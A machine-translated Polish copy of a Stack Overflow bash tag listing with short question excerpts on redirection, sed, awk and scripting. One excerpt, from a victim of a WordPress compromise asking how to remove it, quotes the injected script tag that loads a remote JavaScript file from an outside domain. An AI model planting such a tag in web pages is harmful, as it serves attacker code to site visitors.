Pytania otagowane jako bash

W przypadku pytań dotyczących skryptów napisanych dla powłoki poleceń Bash. W przypadku skryptów powłoki z błędami / błędami składni sprawdź je za pomocą programu shellcheck (lub na internetowym serwerze shellcheck pod adresem https://shellcheck.net) przed opublikowaniem tutaj. Pytania dotyczące interaktywnego korzystania z Bash są bardziej prawdopodobne na Super User niż na Stack Overflow.


1
Czy 3> i 1 oznacza 4> i 3 5> i 3 itd.?
Oczekiwałbym echo foo | tee /proc/self/fd/{3..6} 3>&1 nie udać się z błędami takimi jak / proc / self / fd / 4: Nie ma takiego pliku lub katalogu itp., ale ku mojemu zaskoczeniu, wyświetla foo foo foo foo foo To tak, jakby 3>&1wszystkie poniższe deskryptory zostały przekierowane na standardowe wyjście, …

7
Jak edytować bieżące polecenie powłoki bez wykonywania go?
Wydaje się, że jest sporo informacji na temat edytowania i wykonywania poleceń za pomocą edytora za pomocą „edit-and-execute-command (Cx Ce)”, ale chciałbym uzyskać bieżące polecenie powłoki, zastosować pewne filtrowanie (za pomocą skryptu), a następnie zwróć go z prośbą o dalsze zatwierdzenie / ręczne zmiany przed wykonaniem. Czy to możliwe dzięki …
13 bash 

7
Jak zastąpić cały ciąg za pomocą sed lub ewentualnie grep
Więc cały mój serwer został zhakowany lub wystąpił problem ze złośliwym oprogramowaniem. moja witryna oparta jest na WordPress, a większość witryn hostowanych na moim serwerze jest oparta na WordPress. Haker dodał ten wiersz kodu do każdego pliku i bazy danych <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Przeszukałem go za pomocą grep przy użyciu …
10 bash  shell  sed  grep 

1
Rozwinięcie parametru w wyniku pustego łańcucha traktowane jest inaczej
Aktualizacja Ktoś w liście dyskusyjnej bug-bash został potwierdzony jest to błąd. Jeśli ktoś jest zainteresowany, poprawka jest dostępna w najnowszej gałęzi commit to devel . Podczas bash -c 'echo "${1##*""}"' _ bar wypisuje pustą linię, bash -c 'echo "${1##*"${1##*}"}"' _ bar odciski bar. Nie rozumiem tego ${1##*}rozwija się do pustego …
10 bash 

2
Nie znaleziono komendy Synology Scheduler .sh java
Mam skrypt bash, którego jedynym zadaniem jest wykonanie pliku jar. sms.sh java -jar /volume1/homes/jar/smssender.jar Za pomocą serwera Synology NAS skonfigurowałem zadanie. Dodanie polecenia do wykonania skryptu bash. Dodawanie danych wyjściowych dziennika. Wykonuję moje nowe zadanie. Sprawdzanie dziennika, aby zobaczyć następujący błąd: /volume1/homes/jar/sms.sh: linia 1: java: nie znaleziono polecenia Sprawdzanie wersji …
9 java  bash  synology 

3
Zapisz zmiany na miejscu dzięki NK GNU awk
Natknąłem się na pytanie (na samym SO), w którym OP musi dokonać edycji i zapisać operację w samych plikach wejściowych. Wiem, że dla jednego pliku wejściowego możemy wykonać następujące czynności: awk '{print "test here..new line for saving.."}' Input_file > temp && mv temp Input_file Powiedzmy teraz, że musimy wprowadzić zmiany …
Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.